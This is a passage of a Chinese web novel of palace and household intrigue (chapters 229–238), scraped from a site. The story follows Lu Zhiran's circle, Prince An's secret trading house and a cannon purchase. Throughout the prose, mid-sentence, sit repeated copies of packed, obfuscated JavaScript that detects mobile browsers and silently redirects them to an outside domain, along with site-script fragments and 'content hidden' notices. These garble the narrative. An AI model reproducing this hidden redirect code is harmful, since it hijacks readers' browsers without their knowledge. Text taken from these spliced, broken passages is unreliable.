在这里,她生出了前所未有的归属感,从今以后,这里就是她的家了。 萧宝珠凑近了几分,疑惑开口,“咦?你这里怎么了?也是被猫抓的吗?” 邢初雪立马伸手,捂住了自己的脖颈,原本就有些泛红的脸颊瞬间涨得更红了。 萧宝珠自顾自地道:“我最近一直在挑选品相好又温顺可爱的宠物,但猫狗房里的猫猫狗狗我都挑了个遍,愣是没挑到合适的,我手上还被挠了一把,疼**。初雪,你也养猫了吗?” 邢初雪支支吾吾,没有说话。 陆知苒轻咳一声,“宝珠,初雪的情况与你不一样,你别问了。” 萧宝珠眨眨眼,原本还想追问哪里不一样,但总算没有迟钝到底,很快反应过来。 “哦哦,原来如此……” 她看向邢初雪的眼神顿时染上揶揄,“是我没眼力见了。哎呀,我什么时候能抱上小侄儿小侄女啊?你可得让我五皇兄努努力啊。” 邢初雪伸手拧她,几人笑闹作一团。 为免大家继续拿她打趣,邢初雪赶忙转开话题,“宝珠,你怎么突然心血来潮要养宠物?” 萧宝珠面露无奈,“不是我要养,是孙牧之。他想给三舅母寻一个温顺的宠物陪伴解闷,我大包大揽地揽下了此事,算是报答他的救命之恩。” 本以为皇宫里的猫狗房定能寻到合意的,不想,此事竟比自己以为的要难办。 “你们有没有法子帮我寻到?我海口都夸下了,总不能食言。” 萧宝珠面露苦恼。 这几日,为了这件事,可愁死她了。 邢初雪和叶寒衣都没有门路,陆知苒倒是出了个主意,“我听说有一个恒瑞商行,他们刚刚从海外运了不少新奇玩意儿,说不定这其中就有外邦的猫狗,我派人帮你打探一番。” 萧宝珠闻言大喜,“多谢苒姐姐,还是你有办法。” “我也只是帮你问问,有没有还不一定呢。你也别高兴得太早,免得回头再叫你失望。” “没关系,若实在寻不到,我再想法子。” 萧宝珠又想起一茬,“对了,苒姐姐,我们此前的船队有回信了吗?” 叶寒衣和邢初雪都很惊讶,“你们还一起组建了船队?” 陆知苒三言两语,将她们的合作简单道来。 “依照时间推算,还得几个月才会有回信。” 萧宝珠也就只是随便问问,“我不急,我就随便问问。我有一个神秘的预感,咱们的船队,肯定能大赚一笔。” 陆知苒点头,“我也有同感。” 邢初雪看着陆知苒,眼里满是钦佩。 她想到昨日萧晏珩说的那番话,便开口,虔诚地向陆知苒请教管家和用人之术,陆知苒也不藏私,耐心地一一教导,对于后宅管理的窍门,她也一一提点。 邢初雪听得连连点头,颇为受教。 “听你一席话,当真是胜读十年书!原本我还满脑门官司,现在我的思路一下清晰多了。” 陆知苒笑着道:“我也只是稍加提点了一番,真正的领悟还得看你自己。” 邢初雪敲了敲自己的脑袋,“我这榆木脑袋,以后怕是还会遇到各种问题,到时候我再向你请教,你可别嫌我烦啊。” “自是不会。” 说说笑笑间,时间过得很快,临近黄昏,她们这才散去。 邢初雪的心情明显十分不错。 萧晏珩见她那眉飞色舞的样子,便状似随意地问,“都聊了些什么,这般开心?” 邢初雪是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15231435|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话篓子,他问一句,她就叽里呱啦全说了。 “平乐县主竟也涉足了海运之事?” 邢初雪点头,“对呀,她真的有胆识有魄力,比一般男人都半点不差。据她说,她是因那恒瑞商行的商船有了成功的经验,这才开始组建船队。这回,恒瑞商行的商船又满载而归了,苒姐姐的商船定然也能大赚一笔。” 萧晏珩眉峰微动。 所以,是因为这个原因? 她此前就关注着恒瑞商行的动向,所以才会第一时间就发现了火炮的存在? 若是这样的话,倒是说得过去。 萧晏珩心中的疑虑打消了些许,但这话的真实性有几分,他还得亲自去核实一番。 “殿下,你可听说过恒瑞商行?” 萧晏珩面不改色,“没有,怎么了?莫非你也想搞海运?” 邢初雪连连摇头,“想什么呢,我哪有那本事。我是听说恒瑞商行的商船送回了不少新奇的洋玩意儿,我也想看看都有些什么,长长见识。以往我都没听说过这商行,也不知道他们的商品在何处售卖。” “区区小事,本王打探一番便是。” “那殿下再顺便打探一番,他们商队可有品相好的猫猫狗狗,宝珠想买,说是给孙公子的谢礼。” 萧晏珩一一应下。 翌日,他从外面带回了不少新奇东西,足足几大箱子,“那商行的铺面在青衣巷,人多得很,好东西怕是都被抢了,这是本王让人搜罗的,你瞧瞧喜不喜欢,若不喜欢,你亦可自己到铺子上挑选。报出本王的名讳,掌柜会好生优待。” 邢初雪看着那几大箱子好东西,眼睛都瞪圆了,一股难以形容的情绪在心头蔓延,整颗心都酸酸胀胀的。 “殿下,您怎么对我这般好?” 萧晏珩挑眉,“这就算好?不过举手之劳罢了。” 他吩咐一声,手下就把东西送来了,对他而言的确轻而易举。 邢初雪的眼眶却有些酸涩,这份举手之劳,是她在闺中之时不曾享受和经历过的,母亲的爱总是先分给姐姐。 第230章 死讯 萧晏珩看着她眼底泛起的红,眸色幽沉几分。 “夜里哭,白日也哭,怎的这般爱哭?” 邢初雪的泪意骤然一顿,转而被一股难言的羞恼取代。 她夜里究竟为何哭,**吗? 见她羞恼,萧晏珩唇角勾起一抹笑。 而宫中,萧宝珠也收到了礼物,是一只奶乎乎的狮子狗。 那狮子狗毛发蓬松,浑身雪白,没有一丝杂质,一双眼睛又黑又圆,看着人时,眸底湿漉漉的,简直叫人心都化了。 几乎第一眼,萧宝珠就确认了,就它了。 而且它的性子温顺,萧宝珠抱它时,它还伸出湿漉漉的舌头舔她的掌心。 本以为是陆知苒寻来的,一问方知竟是萧晏珩派人送来的。 正好,邢初雪又邀她过府,萧宝珠便登门,打算亲自感谢他一番。 陆知苒和叶寒衣也在受邀之列,邢初雪让人抬出那几大箱子东西,让几人好生挑选,萧宝珠一边挑,一边连连感叹。 “没想到,五皇兄外表看上去那般清冷之人,竟然这般体贴入微,初雪,你真是嫁对人了。” 邢初雪的脸颊浮起一丝红润,心口亦不受控地泛起甜意。 她也感到庆幸,自己的确嫁对人了。 偏在这时,李嬷嬷入内请示,“王妃,过段时日侧妃和庶妃便要进门,不知她们的院子该如何安排?” 邢初雪心中的甜蜜瞬间一扫而空,屋中气氛也有瞬间的凝滞。 邢初雪神色淡淡,语气亦带上几分敲打之意。 “嬷嬷,本王妃正在待客,这些事,是现在该请示的吗?” 李嬷嬷神色微滞,旋即赶忙低头请罪。 “是奴婢思虑不周,还请王妃见谅。” 邢初雪语气微冷,“那便小惩大诫,罚三月月银,下去吧。” 李嬷嬷眼底闪过一抹不可置信,张了张嘴,到底什么都没能说出来。 惩戒了李嬷嬷一番,她这才觉得心气顺了几分。 回头就发现几人正用一副全新的目光看着她,她略微不自在。 “都这么看着我作甚?” 陆知苒笑道:“你不一样了,成长了。” 叶寒衣也跟着点头,“你方才那番模样,当真是越发有派头了,这才是一个王妃该有的气势。” 萧宝珠连连点头,“那老货当初敢打你手心,就应该好好敲打一番,好叫她知道知道,谁才是真正的主子。” 邢初雪听了她们这话,心头便也多了几分底气。 李嬷嬷是惠嫔送到邢家的教**嬷嬷,当初便对自己颇为苛责,不把自己这个主子放在眼里。 自己嫁入王府之后,李嬷嬷的态度依旧只是表面恭敬,萧晏珩夜夜留宿她房中,李嬷嬷便数次提醒她,应劝殿下节制,免伤根本。 而今,李嬷嬷在这种时候刻意询问侧妃和庶妃入府之事,如同兜头给她浇了一盆冷水,更是在客人面前落了邢初雪的脸面。 她若是还不敲打一番,李嬷嬷就当真越发掂量不清自己的身份了。 李嬷嬷是惠嫔的人,对方的态度,一定程度上代表的便是惠嫔的意思。 这一点,邢初雪很清楚。 但这段时日,她或多或少摸清楚了一件事,萧晏珩与惠嫔这个养母,关系并不似表面那般和谐。 自己若是在他们母子间拎不清,只会与萧晏珩走得越发远。 萧宝珠又宽慰她,“我五皇兄不是薄情寡性之人,就算侧妃和庶妃进门了,他也定会好好待你的。” 她虽是好心宽慰,但邢初雪反倒觉得心头更加沉甸甸的。 如果她不曾得到过这个男人给的柔情,或许她不会在意,也不会生出奢望,但现在,她的心已经发生了变化了,她不再是一个宽和大度,愿意与旁人分享自己丈夫的王妃。 叶寒衣和陆知苒都没有劝,任何语言上的宽慰,在此时都是苍白无力的,改变不了任何事实,这件事,得她自己学会成长和消化。 大家很快又重新挑选起礼物来。 几人都挑到了自己心仪的东西,陆知苒看上了一面镜子,那镜子只巴掌大小,设计得十分精巧,最主要是镜面十分清晰,照得人脸上分毫毕现。 叶寒衣选中了一把小巧精致,却分外锋利的* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15231436|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' *。 萧宝珠则是选了几种香料,据说这些香料用来做菜很好吃,回头她就让厨子好好研究一番。 “五皇兄给我寻到了一只刚出生的狮子狗,我很喜欢,本想回赠一二,但我不知他喜欢什么,只怕送的礼也送不到他心坎上去。” 邢初雪也犯难,“我亦不知他喜欢何物。” 顿了顿,“但我知道他讨厌何物。” 几人立马齐齐看向她,眼里满是好奇。 邢初雪道:“他怕喝苦药。若你们能请到良医,为他调出不苦的药,那他定会十分欢喜。” 萧晏珩每日都需喝一碗药,每次喝药的时候,他的眉头都皱成一团。 萧宝珠连连摆手,“这个我帮不了,别说是我,便是阿笙也帮不了。” 蒋南笙曾给萧晏珩诊过脉,彼时她的医术还不算太精湛,对他的病症也没能开出很好的方子。 陆知苒问,“恕我冒昧,不知安王究竟是何病症?” 邢初雪其实也不知道,他们成婚的时间不算长,他没有主动提,自己便没有贸然相问。 萧宝珠道:“是自小便有的心悸之症。” 心悸之症,这可不好治。 他能好端端地活到这个年纪,且平日里看上去与常人无异,已是他自小得名医调理的结果。 要痊愈,只怕不易。 陆知苒想到什么,神色微顿。 真要说起来,此事也并非全无希望。 前世,随着海运慢慢盛行,不仅外邦的新奇货品传入大齐,便是外邦人也慢慢出现在大齐境内,随之传入的,还有外邦的医术。 陆知苒听说洋医在某些方面有远超中医的超凡之处,不知对萧晏珩的病症是否能有回天之术? 不过,洋医在大齐毁誉参半,她也只是听说,并未亲眼见过,此时自然没有贸然开口。 话头到这儿,不免有些低迷。 邢初雪重新扬起笑脸,将这沉重话头带了过去。 气氛才刚刚稍有好转,就有丫鬟匆匆来禀。 “王妃,不好了,邢家方才来报丧,邢大小姐院中走水……大小姐她,没了。” 第231章 赵书宁跑了 邢初雪面色一顿,脸上的笑意凝固了。 陆知苒三人互相交换眼神,心底都生出了一丝微妙。 **? 那可真是死得太好了! 那样的祸害,留在世上也是膈应人,还要担心她什么时候再来咬你一口。 现在**,一切一了百了。 只是对方到底是邢初雪的姐姐,她们很知趣地没有说太过分的风凉话。 邢初雪短暂失神之后,很快就缓过神来。 她朝丫鬟颔首,“我知道了。” 丫鬟退了下去,几人看着邢初雪,都没说话。 还是邢初雪先开口,“都这么看着我做什么?我与她已经没了半点姐妹情分,她的生死,都与我无关了,我只是有些意外罢了。” 她以为自己至少会难过,但实际上,除了一开始的惊诧与怅然,她没有生出太过难过的情绪。 那场大火,究竟是意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238514|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外 ******后面还有1790个字内容被隐藏了****** ******后面还有1790个字内容被隐藏了****** loadBookInfo(37, 1924767, 26241263,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第232章 表兄 而今,赵书宁占着嫡妻的名头,他就注定不可能有嫡子,所以每一个庶子都有着同等的分量。 楚翊安的整颗心依旧被懊悔充斥着,若当初他与陆知苒没有和离,而今侯府上下,就会是另外一番情形。 说不定,他也早就有了嫡子。 是他与陆知苒的嫡子。 后悔如同跗骨之蛆,深深地扎根心底,无法触碰,一碰,就是一阵生疼。 世上没有不透风的墙。 宣平侯府的内宅本就不是铜墙铁壁,加上一开始楚云清便嚷嚷开了,即便后来姜氏命人补救,也来不及了。 这桩消息被传到了陆知苒的耳中。 陆知苒精神一凛。 赵书宁竟然带伤去了西平,她在西平定然也有眼线。 她是知道自己的方子有问题,所以才急着赶去善后的吗? 定是如此。 赵书宁是个为达目的不择手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238515|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段 ******后面还有1893个字内容被隐藏了****** ******后面还有1893个字内容被隐藏了****** loadBookInfo(37, 1924767, 26354467,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第233章 自作多情的孙家人 陆知苒问,“他可擅治心悸之症?” 洛观澜老实摇头,“这我并不清楚,得亲口问问他才行。” 陆知苒思忖一番,“安王身体有疾,若他有胆识,对自己的能力有信心,我可以向安王举荐他。安王乃当朝王爷,他若能得其赏识,拜师之事,自然不在话下。” 若她举荐的洋医,当真能把萧晏珩的心悸治好,对方定要记自己一个恩情,日后拉拢他也会更容易。 这么做也有风险。 若那洋医不能治好萧晏珩,反而让他病情恶化了,她这个举荐人就要落得一个里外不是人的局面。 方才她也犹豫过,但最终还是开了口。 邢初雪在安王府过得明显很不错,这两次见她,她脸上的笑意都多了许多,萧晏珩或许真的是她的良人。 她只是向对方举荐,究竟接不接受,就看他们自
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15243410|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ******后面还有1830个字内容被隐藏了****** ******后面还有1830个字内容被隐藏了****** loadBookInfo(37, 1924767, 26354468,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第234章 是去三房道谢的 “你……” 周氏被白氏的话气得脸色难看,但又无言以对。 孙老夫人这一回也站在白氏这边,“老二媳妇说得对,轩儿闯下了大祸,这才连累得孙家受罚,这件事,他没有拒绝的权利。” 周氏在孙老夫人跟前素来得脸,这次却被老夫人如此敲打,脸色越发难看。 白氏颇有种扬眉吐气的感觉,腰杆都挺直了。 她也不管周氏的脸色,越发卖力地奉承讨好孙老夫人。 她们的茶盏都喝了几轮,却还不见萧宝珠前来。 按理说,她应当先来拜访孙老夫人,再去探望孙景轩。 白氏笑道:“兴许九公主是直接去寻轩儿了,看来她对轩儿果真是牵肠挂肚,一刻都等不了。” 孙老夫人也觉得是这样。 周氏眼底闪过嘲讽,同时又有些得意。 自己儿子如此优秀,萧宝珠对他牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15243411|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ******后面还有1854个字内容被隐藏了****** ******后面还有1854个字内容被隐藏了****** loadBookInfo(37, 1924767, 26423159,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第235章 雪团 萧宝珠注意到她那过于瘦削的身形,和脸上明显的老态,心中不禁升起一股微微的酸涩。 再看看这偏僻寥落的院子,她心头更不是滋味。 跟孙家大房和二房的处境相比,三房实在被苛待太甚。 三房便是单独搬出去,也定住得比现在体面。 但孙老夫人健在,她不同意分家,三房便也没有单独分出去的资格。 这到底是旁人的家事,萧宝珠心中纵有不平,也无权置喙。 萧宝珠看出甄氏的紧张,她便命人把那只狮子狗提了上来,笑着道:“三舅母,我得了一只乖巧可爱的宠儿,想着您素日在家无趣,有它相伴能解解闷。您瞧瞧,喜不喜欢?” 宫人把那小笼子提上前,将上面的黑布取下,那狮子狗便出现在了甄氏面前。 它很亲人,到了陌生环境,见到了陌生的人也半35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250048|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ******后面还有1790个字内容被隐藏了****** ******后面还有1790个字内容被隐藏了****** loadBookInfo(37, 1924767, 26423160,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第236章 必须要自立门户 翠萍绘声绘色地复述,听得众人一愣一愣的,甄氏看着萧宝珠的眼神更是充满了难以言说的触动,眼眶一阵阵发热。 甄氏拉着萧宝珠的手,“公主,您为了我得罪大夫人,回头要遭记恨的。” 她的手很枯瘦,手心也微微发凉,萧宝珠用力反握着对方,“我是公主,我怕什么?再说了,我早就看不惯大舅母那副佛口蛇心的虚伪模样,以往我敬她是长辈,对她礼让三分,现在我可不会给她面子。” 萧宝珠素来不喜孙家大房那一家子,他们口蜜腹剑,把母后哄得团团转,母后时常把他们挂在嘴边,在母后口中,他们哪哪儿都好,自己处处不如,萧宝珠对他们能喜欢得起来才怪。 以往她忍,现在,孙景轩算计到她头上来,彼此的脸面都撕破了,她可不会惯着他们。 这时, 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15250049|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >******后面还有1881个字内容被隐藏了****** ******后面还有1881个字内容被隐藏了****** loadBookInfo(37, 1924767, 26467964,''你给平妻请封诰命,我奉旨和离你哭啥?''); 第237章 幕后东家竟是他 洛观澜只在京城短暂地停留了两日,便带着那批粮草往西平去了。 萧晏珩接受了陆知苒的好意,把洋医艾伯特请进了安王府。 陆知苒只是个牵头的中间人,后续之事她便没打算继续插手,也没有插手的资格。 她一直在等恒瑞商行的消息。 数日过去,对方依旧没有松口。 张德安一直派人跟着闻守义,想要顺藤摸瓜查到对方背后的东家是谁,但对方警惕心非常重,早有防范,每次都会派人混淆视听,他们打探不到一点。 陆知苒终于有些沉不住气,再次把张德安唤来,在原有价格的基础上,又加了两成。 张德安听着那数额,不禁一阵心惊。 “小姐,这价格会不会太高了?” 陆知苒语气不容置疑,“不论价格多高,我都必须买到。” 赵书宁偷偷前往西平,这让她心头不安更甚。 张德安不再多言,退下了。 翌日,正是萧晏珩的侧妃进门之日,三位侧妃,同一日抬进门,而后,便是三位庶妃。 与王妃进门的十里红妆不同,侧妃和庶妃都只是一顶小轿就抬进去,连酒席都没有,只有府中各处挂些灯笼囍字以作装饰。 因着这桩喜事,闻守义这几日并未登门向萧晏珩请示,陆知苒那头便迟迟没有收到回信,心头不免更加焦灼。 霜华主动请缨,“小姐,奴婢愿替您分忧。” 陆知苒眸光微动,“你有良策?” 霜华:“奴婢去盯着那闻管事,替您把恒瑞商行的东家身份摸清楚。” 陆知苒微微摇头,“张德安早就派人盯着他,但对方防备心很强,我们的人每次都跟丢,打探不到更多。” “奴婢或可一试。” 陆知苒眸光微动,最终允了,“好,你且试试。” 霜华或许当真有些本事,但陆知苒也没敢抱太大希望。 霜华神出鬼没了几日,终于在第三天晚上出现在了陆知苒面前,带回了好消息。 “小姐,奴婢盯了那闻管事几日,终于查到了他的行踪。昨日,他悄悄进了安王府。” 陆知苒身子一下坐直了,“你可确定?” “千真万确。” 闻守义是跑江湖的人,身上有点功夫,每次去安王府都会乔装打扮,有时候他直接伪装成给王府送货的小厮,张德安的手下一开始就盯错了人,自然查不到他的真正去向。 霜华也险些跟丢。 好在她及时反应过来,这才有了新发现。 陆知苒心中难掩惊诧,好半晌都没回过神来。 恒瑞商行的东家,竟是安王? 这着实叫她完全没有想到。 陆知苒想起前几日在安王府看到的那几大箱子奇珍异宝,若有这层关系在,他要弄到这些东西就是轻而易举之事。 安王瞒着所有人,闷声发大财,还在海外买回了火炮,他到底想做什么? 难道,他对那个位置也有图谋? 若当真如此的话,那批火炮,他定是不可能卖给自己的。 并且,他会成为萧晏辞真正强大的对手。 自己向他推举艾伯特,究竟是对是错? 陆知苒思索着这件事,心头笼上一层阴霾。 这时,萧宝珠突然匆匆登门,满脸焦急。 “苒姐姐,你听说了吗?初雪出事了!” 陆知苒一愣,“她怎么了?” “她被五皇兄的一位侧妃捅了一刀,伤及肺腑,性命垂危!” 陆知苒惊得站了起来。 萧宝珠紧接着道:“幸亏五皇兄的府上有一位洋医,他不知用了什么药,竟把初雪救活了,现在初雪虽然还没有苏醒,但也已经脱离生命危险了。那洋医说,最迟明日她就能醒过来。” 陆知苒悬着的心这才重重落下。 她忍不住伸手去拧萧宝珠的胳膊,“你说话大喘气做什么?害我白担心。” 事发之时,安王府第一时间派人入宫请太医,萧宝珠也是今日才听说了,幸亏,一切都只是虚惊一场。 “是哪个侧妃?” “工部员外郎的嫡次女,崔语嫣。她一直恋慕我五皇兄,但谁知五皇兄一次都没有去过她的院子,一直留宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15262275|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正院,她对初雪心生嫉妒,这才发疯行凶。” 萧宝珠满脸厌恶,语气更是愤愤不平。 寻常内宅的争斗,都是背地里使阴招,谁能想到有这么一个人,竟直接动起了刀子。 “苒姐姐,听说那洋医是你推举给五皇兄的?多亏了你,不然……” 她的未尽之意,大家心里都清楚。 陆知苒心头亦升起复杂。 她没想到,艾伯特在安王府救治的第一个人,会是邢初雪。 “那位侧妃呢?现在如何了?” 萧宝珠神色顿了一下,“被我五皇兄当场砍了。五皇兄能做到这般地步,也不枉费初雪挨的这一刀。” 陆知苒心中亦升起感慨。 未来如何,她不敢断言,但目前来看,安王的确是邢初雪的良配。 二人约定,过几日一起去探望邢初雪。 眼下她尚未苏醒,她们不便登门,但各自都准备了许多补品往安王府送去。 因着这件事打岔,陆知苒暂时抛开了火炮之事。 没曾想,第二天,她就收到了一个意外之喜。 “大小姐,闻管事给小的回信了,这桩买卖成了!而且,对方还主动给咱们压了价,比咱们一开始报的价还要低两成!” 张德安满脸激动,陆知苒亦是不敢置信。 “当真?” 张德安用力点头,“千真万确,他还拟了一份契书,请您过目。” 陆知苒拿过那份契书,反反复复看了好几遍,没有发现什么陷阱或漏洞,对方是实打实地给她让利了。 陆知苒看着手里的契书,好半晌没有说话。 “小的一开始也有顾虑,向对方询问了原由,闻管事说这是东家的意思,起先他不肯透露更多,小的一再追问,他才说,是小姐您积德行善,有了善果。” 张德安的语气中满是骄傲,“小姐您当初不仅救了西平那么多百姓,还在京城办了锦绣坊,助万民度过寒冬,您是全天下最心善的女菩萨,谁不感念您的恩德?这恒瑞商行的东家,定也是因此缘由,才答应了这桩买卖。” 第238章 阎罗笑 陆知苒心中却并不这么认为。 若当真是因为这些功绩的话,早在她亮出身份的时候对方的态度就应该有转变,而不会等到现在。 唯一的可能便是,艾伯特救了邢初雪的性命,萧晏珩因此记了她的情,这才投桃报李,还了她这么一个大人情。 陆知苒心中一时感慨万千。 萧晏珩之举,再次刷新了陆知苒对他的认知。 不仅仅是因为他对邢初雪的看重,也因为他此举所释放出来的信号:他无意争夺那个位置。 若他当真有此想法,就不会把火炮这样的武器卖给自己。 对方主动让利,陆知苒也不矫情推拒,当即吩咐张德安跟进后续之事。 “你亲自督办此事,那批火炮定要亲自验货,不可有半分差池,再把火炮第一时间运往西平。” 在商言商,这么大一笔生意,必须要足够小心,不可轻信旁人。 张德安立马应下,很快告退了。 火炮之事办妥,陆知苒大松了口气。 当晚,陆知苒心情放松,早早睡了。 但没想到,当晚她又做了个噩梦,半夜从梦中惊醒,后背又是一片濡湿。 她又梦到了萧晏辞。 这次的他,同样浑身是血,躺在血泊中。 今夜霜华守夜,第一时间听到了动静,连忙倒了一杯水。 “小姐,可是梦魇了?” 陆知苒把那杯茶一饮而尽,急促地喘息几下。 “霜华,瑾王府那边,有没有收到殿下的回信?” 霜华摇头。 “想来殿下很快就会来信了。” 心知这话是安慰,陆知苒也只能选择相信。 稳了稳心神,她起身更衣,这才重新躺下。 后半夜,又是无眠。 念念不忘,必有回响。 翌日一早,她当真收到了一封来自西平的信,是萧晏辞的。 陆知苒立马拆开,飞快地读完。 她的面上笼着一层晦暗不明的神色,叫人辨不出喜怒。 蒋南笙依旧杳无音信。 好在药物储备充足,西平的疫病暂时得以控制,但隐患并未彻底消失。 陆知苒对此早有心理准备。 真正让她面色发沉的,是萧晏辞在信上所说的另外一桩变故。 西平守将,镇西大将军谷栖山**昏迷,性命垂危。 谷栖山是一方守将,他在西平驻守二十余年,从一个无名小卒一路爬到现今的位置,靠的是他铁腕一般的手段,和漂亮得无可复制的赫赫战功。 若他出事,对西平的战局而言,无疑是雪上加霜。 届时,羌笛只怕更不会错过机会,大举进犯大齐边境。 萧晏辞的这封信,一是告知她西平局势,二,则是为了谷栖山。 西平没有解药,但京城有。 她必须立刻拿到解药,再派最可靠之人快马加鞭往西平送去。 “给我梳妆,我要进宫。” 陆知苒是县主,又是未来瑾王妃,她有入宫的资格。 她直奔夕颜殿而去。 她此次入宫,便是来拜见柔妃的。 因为那份解药,在柔妃手中。 柔妃在调香。 她每日闲得无聊,除了调香,也没有其他消遣。 陆知苒来了,她立马露出笑意,“知苒来了,快快,我最近新调了一种香,你来闻闻。” 陆知苒福身一礼,“娘娘,臣女有要事与您详谈。” 柔妃见她神色严肃,也一下正了神色。 知她并非没有分寸之人,柔妃立马屏退了殿内下人,“何事?” 陆知苒将手中书信恭敬递上,一边开口。 “此乃瑾王殿下从西平送回的书信,请您过目。” 柔妃拿着书信的手一抖,“他,他怎么跑到西平去了?” 待看完信,柔妃的面色骤然发白,那张薄薄信纸都没拿稳,飘飘忽忽地落了地。 “谷栖山怎会**?他乃镇西大将军,谁敢给他下毒?” 柔妃说话素来柔声细语,不紧不慢,此时却是激动得声音都劈了叉。 锦瑟急忙上前扶住她,一把握住她的手,似是提醒,“娘娘,您先别急。” 柔妃似被拉回了神志,勉强定了定神。 “本宫是担心西平局势生变。” 陆知苒从柔妃的眼中捕捉到了些许不同寻常的意味,但她来不及深究。 “娘娘,您可有一种名为阎罗笑的解毒丹?” 柔妃连忙点头,“有,有,锦瑟,你 